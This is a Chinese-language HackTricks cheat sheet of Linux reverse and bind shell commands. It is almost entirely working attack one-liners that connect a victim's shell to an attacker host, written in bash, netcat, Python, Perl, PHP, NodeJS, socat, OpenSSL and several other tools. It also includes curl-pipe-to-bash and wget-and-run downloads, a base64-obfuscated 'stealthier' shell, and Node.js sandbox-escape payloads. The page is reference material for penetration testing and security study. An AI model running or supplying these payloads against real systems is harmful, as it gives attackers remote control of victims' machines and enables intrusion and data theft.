hacktricks/generic-methodologies-and-resources/shells/linux.md

# Shells - Linux

<details>

<summary><strong>从零到英雄学习AWS黑客攻击，通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

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<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>

找到对你最重要的漏洞，以便更快修复它们。Intruder追踪你的攻击面，进行主动威胁扫描，在你的整个技术栈中找到问题，从API到Web应用程序和云系统。[**今天就免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。

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***

**如果你对这些shells有任何疑问，你可以在** [**https://explainshell.com/**](https://explainshell.com) **上查看它们**

## 完整的TTY

**一旦你获得了一个反向shell**[ **阅读此页面以获得完整的TTY**](full-ttys.md)**。**

## Bash | sh
```bash
curl https://reverse-shell.sh/1.1.1.1:3000 | bash
bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
bash -i >& /dev/udp/127.0.0.1/4242 0>&1 #UDP
0<&196;exec 196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5; done

#Short and bypass (credits to Dikline)
(sh)0>/dev/tcp/10.10.10.10/9091
#after getting the previous shell to get the output to execute
exec >&0
```
不要忘记检查其他shell：sh、ash、bsh、csh、ksh、zsh、pdksh、tcsh和bash。

### 符号安全shell
```bash
#If you need a more stable connection do:
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'

#Stealthier method
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null
```
#### Shell解释

1. **`bash -i`**: 这部分命令启动一个交互式（`-i`）Bash shell。
2. **`>&`**: 这部分命令是**重定向标准输出**（`stdout`）和**标准错误**（`stderr`）到**相同目的地**的简写表示。
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: 这是一个特殊文件，**代表着对指定IP地址和端口的TCP连接**。
* 通过**将输出和错误流重定向到这个文件**，命令有效地将交互式shell会话的输出发送到攻击者的机器。
4. **`0>&1`**: 这部分命令**将标准输入（`stdin`）重定向到与标准输出（`stdout`）相同的目的地**。

### 在文件中创建并执行
```bash
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
```
## Forward Shell

在某些情况下，您可能会发现自己在Linux机器上的**web应用中有一个RCE**，但由于Iptables规则或其他类型的过滤，**您无法获得反向shell**。这种"shell"允许您通过在受害系统内使用管道，通过该RCE维持一个PTY shell。\
您可以在[**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell)找到代码。

您只需要修改：

* 易受攻击主机的URL
* 您的payload的前缀和后缀（如果有的话）
* payload发送的方式（头部？数据？额外信息？）

然后，您就可以**发送命令**，甚至可以使用`upgrade`命令来获得完整的PTY（注意管道的读写大约有1.3秒的延迟）。

## Netcat
```bash
nc -e /bin/sh <ATTACKER-IP> <PORT>
nc <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER-IP> <PORT> >/tmp/f
nc <ATTACKER-IP> <PORT1>| /bin/bash | nc <ATTACKER-IP> <PORT2>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
```
## gsocket

请在 [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/) 查看。
```bash
bash -c "$(curl -fsSL gsocket.io/x)"
```
## Telnet
```bash
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
telnet <ATTACKER-IP> <PORT> | /bin/bash | telnet <ATTACKER-IP> <PORT>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
```
## Whois

**攻击者**
```bash
while true; do nc -l <port>; done
```
要发送命令，请写下它，按回车键，然后按CTRL+D（停止STDIN）

**受害者**
```bash
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
```
## Python
```bash
#Linux
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
#IPv6
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
```
## Perl
```bash
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```
## Ruby
```bash
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```
## PHP
```php
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

// Using 'proc_open' makes no assumptions about what the file descriptor will be.
// See https://security.stackexchange.com/a/198944 for more information
<?php $sock=fsockopen("10.0.0.1",1234);$proc=proc_open("/bin/sh -i",array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>

<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
```
## Java
```bash
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
```
## Ncat
```bash
victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
attacker> ncat -v 10.0.0.22 4444 --ssl
```
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>

找到对您最重要的漏洞，以便您能更快修复它们。Intruder 跟踪您的攻击面，运行主动威胁扫描，在您的整个技术栈中找到问题，从API到Web应用程序和云系统。今天就[**免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

***

## Golang
```bash
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
```
## Lua
```bash
#Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
#Windows & Linux
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
```
## NodeJS
```javascript
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "10.17.26.64", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();


or

require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')
require('child_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>&1'")

or

-var x = global.process.mainModule.require
-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')

or

// If you get to the constructor of a function you can define and execute another function inside a string
"".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
"".__proto__.constructor.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()


or

// Abuse this syntax to get a reverse shell
var fs = this.process.binding('fs');
var fs = process.binding('fs');

or

https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
```
## OpenSSL

攻击者 (Kali)
```bash
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
```
受害者
```bash
#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

#Windows
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
```
## **Socat**

[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)

### 绑定 shell
```bash
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
```
### 反向 shell
```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```
## Awk
```bash
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
```
## Finger

**攻击者**
```bash
while true; do nc -l 79; done
```
要发送命令，请写下命令，按下回车键，然后按CTRL+D（停止STDIN）

**受害者**
```bash
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done

export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
```
## Gawk
```bash
#!/usr/bin/gawk -f

BEGIN {
Port    =       8080
Prompt  =       "bkd> "

Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}
```
## Xterm

Xterm 反向 shell 是最简单的形式之一。以下命令应在服务器上运行。它会尝试回连到你的机器（10.0.0.1）的 TCP 端口 6001。
```bash
xterm -display 10.0.0.1:1
```
要捕获传入的xterm，请启动一个X服务器（:1 - 监听TCP端口6001）。一种方法是使用Xnest（在您的系统上运行）：
```bash
Xnest :1
```
您需要授权目标连接到您的主机（也在您的主机上运行以下命令）：
```bash
xhost +targetip
```
## Groovy

由 [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) 提供 注意：Java 反向 shell 也适用于 Groovy
```bash
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```
## 参考文献

{% embed url="https://highon.coffee/blog/reverse-shell-cheat-sheet/" %}

{% embed url="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell" %}

{% embed url="https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/" %}

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md" %}

<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>

找到最重要的漏洞，以便您能更快修复它们。Intruder 跟踪您的攻击面，运行主动威胁扫描，在您的整个技术栈中找到问题，从 APIs 到 web 应用程序和云系统。今天就[**免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


<details>

<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习 AWS 黑客攻击！</strong></summary>

其他支持 HackTricks 的方式：

* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
* 获取[**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧。

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